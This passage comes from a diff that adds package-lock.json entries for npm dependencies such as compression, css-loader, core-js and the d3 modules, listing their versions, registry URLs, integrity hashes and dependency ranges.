"sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dev": true, + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true + }, + "node_modules/connect-history-api-fallback": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz", + "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dev": true, + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-disposition/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "dependencies": { + "safe-buffer": "~5.1.1" + } + }, + "node_modules/cookie": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=", + "dev": true + }, + "node_modules/copy-to-clipboard": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.1.tgz", + "integrity": "sha512-i13qo6kIHTTpCm8/Wup+0b1mVWETvu2kIMzKoK8FpkLkFxlt0znUAHcMzox+T8sPlqtZXq3CulEjQHsYiGFJUw==", + "dependencies": { + "toggle-selection": "^1.0.6" + } + }, + "node_modules/copyfiles": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.4.1.tgz", + "integrity": "sha512-fereAvAvxDrQDOXybk3Qu3dPbOoKoysFMWtkY3mv5BsL8//OSZVL5DCLYqgRfY5cWirgRzlC+WSrxp6Bo3eNZg==", + "dev": true, + "dependencies": { + "glob": "^7.0.5", + "minimatch": "^3.0.3", + "mkdirp": "^1.0.4", + "noms": "0.0.0", + "through2": "^2.0.1", + "untildify": "^4.0.0", + "yargs": "^16.1.0" + }, + "bin": { + "copyfiles": "copyfiles", + "copyup": "copyfiles" + } + }, + "node_modules/core-js": { + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.21.1.tgz", + "integrity": "sha512-FRq5b/VMrWlrmCzwRrpDYNxyHP9BcAZC+xHJaqTgIE5091ZV1NTmyh0sGOg5XqpnHvR0svdy0sv1gWA1zmhxig==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.21.1.tgz", + "integrity": "sha512-gbgX5AUvMb8gwxC7FLVWYT7Kkgu/y7+h/h1X43yJkNqhlK2fuYyQimqvKGNZFAY6CKii/GFKJ2cp/1/42TN36g==", + "dev": true, + "dependencies": { + "browserslist": "^4.19.1", + "semver": "7.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat/node_modules/semver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", + "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/core-js-pure": { + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.21.1.tgz", + "integrity": "sha512-12VZfFIu+wyVbBebyHmRTuEE/tZrB4tJToWcwAMcsp3h4+sHR+fMJWbKpYiCRWlhFBq+KNyO8rIV9rTkeVmznQ==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true + }, + "node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/create-react-class": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz", + "integrity": "sha1-zx7RXxKq1/FO9fLf4F5sQvke8Co=", + "dependencies": { + "fbjs": "^0.8.9", + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/cross-spawn/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/css-loader": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", + "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", + "dev": true, + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.7", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/css-loader/node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/css-loader/node_modules/nanoid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.2.tgz", + "integrity": "sha512-CuHBogktKwpm5g2sRgv83jEy2ijFzBwMoYA60orPDR7ynsLijJDqgsi4RDGj3OJpy3Ieb+LYwiRmIOGyytgITA==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/css-loader/node_modules/postcss": { + "version": "8.4.12", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.12.tgz", + "integrity": "sha512-lg6eITwYe9v6Hr5CncVbK70SoioNQIq81nsaG86ev5hAidQvmOeETBqs7jm43K2F5/Ley3ytDtriImV6TpNiSg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + } + ], + "dependencies": { + "nanoid": "^3.3.1", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "dependencies": { + "lru-cache": "^7.4.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-vendor": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/css-vendor/-/css-vendor-2.0.8.tgz", + "integrity": "sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ==", + "dependencies": { + "@babel/runtime": "^7.8.3", + "is-in-browser": "^1.0.2" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/csstype": { + "version": "2.6.20", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.20.tgz", + "integrity": "sha512-/WwNkdXfckNgw6S5R125rrW8ez139lBHWouiBvX8dfMFtcn6V81REDqnH7+CRpRipfYlyU1CmOnOxrmGcFOjeA==" + }, + "node_modules/d3": { + "version": "5.16.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", + "integrity": "sha512-4PL5hHaHwX4m7Zr1UapXW23apo6pexCgdetdJ5kTmADpG/7T9Gkxw0M0tf/pjoB63ezCCm0u5UaFYy2aMt0Mcw==", + "dependencies": { + "d3-array": "1", + "d3-axis": "1", + "d3-brush": "1", + "d3-chord": "1", + "d3-collection": "1", + "d3-color": "1", + "d3-contour": "1", + "d3-dispatch": "1", + "d3-drag": "1", + "d3-dsv": "1", + "d3-ease": "1", + "d3-fetch": "1", + "d3-force": "1", + "d3-format": "1", + "d3-geo": "1", + "d3-hierarchy": "1", + "d3-interpolate": "1", + "d3-path": "1", + "d3-polygon": "1", + "d3-quadtree": "1", + "d3-random": "1", + "d3-scale": "2", + "d3-scale-chromatic": "1", + "d3-selection": "1", + "d3-shape": "1", + "d3-time": "1", + "d3-time-format": "2", + "d3-timer": "1", + "d3-transition": "1", + "d3-voronoi": "1", + "d3-zoom": "1" + } + }, + "node_modules/d3-array": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", + "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + }, + "node_modules/d3-axis": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", + "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + }, + "node_modules/d3-brush": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.6.tgz", + "integrity": "sha512-7RW+w7HfMCPyZLifTz/UnJmI5kdkXtpCbombUSs8xniAyo0vIbrDzDwUJB6eJOgl9u5DQOt2TQlYumxzD1SvYA==", + "dependencies": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "node_modules/d3-chord": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", + "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "dependencies": { + "d3-array": "1", + "d3-path": "1" + } + }, + "node_modules/d3-collection": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", + "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" + }, + "node_modules/d3-color": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.4.1.tgz", + "integrity": "sha512-p2sTHSLCJI2QKunbGb7ocOh7DgTAn8IrLx21QRc/BSnodXM4sv6aLQlnfpvehFMLZEfBc6g9pH9SWQccFYfJ9Q==" + }, + "node_modules/d3-contour": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", + "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "dependencies": { + "d3-array": "^1.1.1" + } + }, + "node_modules/d3-dispatch": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.6.tgz", + "integrity": "sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==" + }, + "node_modules/d3-drag": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.5.tgz", + "integrity": "sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==", + "dependencies": { + "d3-dispatch": "1", + "d3-selection": "1" + } + }, + "node_modules/d3-dsv": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.2.0.tgz", + "integrity": "sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==", + "dependencies": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json", + "csv2tsv": "bin/dsv2dsv", + "dsv2dsv": "bin/dsv2dsv", + "dsv2json": "bin/dsv2json", + "json2csv": "bin/json2dsv", + "json2dsv": "bin/json2dsv", + "json2tsv": "bin/json2dsv", + "tsv2csv": "bin/dsv2dsv", + "tsv2json": "bin/dsv2json" + } + }, + "node_modules/d3-dsv/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/d3-ease": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.7.tgz", + "integrity": "sha512-lx14ZPYkhNx0s/2HX5sLFUI3mbasHjSSpwO/KaaNACweVwxUruKyWVcb293wMv1RqTPZyZ8kSZ2NogUZNcLOFQ==" + }, + "node_modules/d3-fetch": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.2.0.tgz", + "integrity": "sha512-yC78NBVcd2zFAyR/HnUiBS7Lf6inSCoWcSxFfw8FYL7ydiqe80SazNwoffcqOfs95XaLo7yebsmQqDKSsXUtvA==", + "dependencies": { + "d3-dsv": "1" + } + }, + "node_modules/d3-force": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", + "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "dependencies": { + "d3-collection": "1", + "d3-dispatch": "1", + "d3-quadtree": "1", + "d3-timer": "1" + } + }, + "node_modules/d3-format": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.5.tgz", + "integrity": "sha512-J0piedu6Z8iB6TbIGfZgDzfXxUFN3qQRMofy2oPdXzQibYGqPB/9iMcxr/TGalU+2RsyDO+U4f33id8tbnSRMQ==" + }, + "node_modules/d3-geo": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.1.tgz", + "integrity": "sha512-XG4d1c/UJSEX9NfU02KwBL6BYPj8YKHxgBEw5om2ZnTRSbIcego6dhHwcxuSR3clxh0EpE38os1DVPOmnYtTPg==", + "dependencies": { + "d3-array": "1" + } + }, + "node_modules/d3-hierarchy": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz", + "integrity": "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==" + }, + "node_modules/d3-interpolate": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.4.0.tgz", + "integrity": "sha512-V9znK0zc3jOPV4VD2zZn0sDhZU3WAE2bmlxdIwwQPPzPjvyLkd8B3JUVdS1IDUFDkWZ72c9qnv1GK2ZagTZ8EA==", + "dependencies": { + "d3-color": "1" + } + }, + "node_modules/d3-path": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", + "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" + }, + "node_modules/d3-polygon": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.6.tgz", + "integrity": "sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==" + }, + "node_modules/d3-quadtree": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.7.tgz", + "integrity": "sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==" + }, + "node_modules/d3-random": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", + "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + }, + "node_modules/d3-scale": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", + "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "dependencies": { + "d3-array": "^1.2.0", + "d3-collection": "1", + "d3-format": "1", + "d3-interpolate": "1", + "d3-time": "1", + "d3-time-format": "2" + } + }, + "node_modules/d3-scale-chromatic": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", + "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "dependencies": { + "d3-color": "1", + "d3-interpolate": "1" + } + }, + "node_modules/d3-selection": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.2.tgz", + "integrity": "sha512-SJ0BqYihzOjDnnlfyeHT0e30k0K1+5sR3d5fNueCNeuhZTnGw4M4o8mqJchSwgKMXCNFo+e2VTChiSJ0vYtXkg==" + }, + "node_modules/d3-shape": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", + "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "dependencies": { + "d3-path": "1" + } + }, + "node_modules/d3-time": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.1.0.tgz", + "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==" + }, + "node_modules/d3-time-format": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.3.0.tgz", + "integrity": "sha512-guv6b2H37s2Uq/GefleCDtbe0XZAuy7Wa49VGkPVPMfLL9qObgBST3lEHJBMUp8S7NdLQAGIvr2KXk8Hc98iKQ==", + "dependencies": { + "d3-time": "1" + } + }, + "node_modules/d3-timer": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.10.tgz", + "integrity": "sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==" + }, + "node_modules/d3-transition": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.3.2.tgz", + "integrity": "sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==", + "dependencies": { + "d3-color": "1", + "d3-dispatch": "1", + "d3-ease": "1", + "d3-interpolate": "1", + "d3-selection": "^1.1.0", + "d3-timer": "1" + } + }, + "node_modules/d3-voronoi": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", + "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" + }, + "node_modules/d3-zoom": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", + 